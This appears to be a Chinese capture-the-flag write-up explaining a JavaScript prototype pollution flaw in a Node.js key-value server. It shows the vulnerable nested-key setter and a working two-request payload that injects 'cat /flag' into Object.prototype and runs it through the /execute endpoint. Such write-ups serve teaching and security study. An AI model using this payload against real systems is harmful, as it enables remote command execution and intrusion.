一个典型的 JavaScript 原型链污染漏洞。
预定义命令 cmds,getsource 用于显示源码,test 用于测试:
let cmds = {
getsource: "cat server.js",
test: "echo 'hello, world!'",
};使用对象实现键值存储:
let store = {};提供了四个 API:
GET /api/store: 返回整个存储内容POST /set: 设置键值对,支持a.b.c格式嵌套的 keyGET /get: 获取指定 key 的 valueGET /execute: 执行预定义命令
重点关注 /set 里的代码处理逻辑:
app.post("/set", (req, res) => {
const {
key,
value
} = req.body; // 从请求体获取 key 和 value
const keys = key.split("."); // 将 key 按照 . 分割,支持多级属性
let current = store;
for (let i = 0; i < keys.length - 1; i++) {
const key = keys[i];
if (!current[key]) {
current[key] = {}; // 如果中间节点不存在,创建空对象
}
current = current[key]; // 移动到下一层
}
current[keys[keys.length - 1]] = value; // 在最后一个 key 处设置 value
res.json({
message: "OK"
});
});当传入 key=__proto__.newkey 时:
current初始指向store,一个空对象current[__proto__]会访问对象的原型链上的Object.prototype对象current[__proto__][newkey] = value会修改 Object.prototype,从而污染所有继承自该原型的对象
所以传入以下 Payload 时:
POST /set HTTP/1.1
{
"key": "__proto__.newcmd",
"value": "cat /flag"
}这会使 newcmd 属性被添加到 Object.prototype 上,因此所有以 Object.prototype 为原型的对象(包括 cmds 对象)都能通过原型链访问到这个属性。
于是可以通过 /execute?cmd=newcmd 来执行命令 cat /flag:
GET /execute?cmd=newcmd HTTP/1.1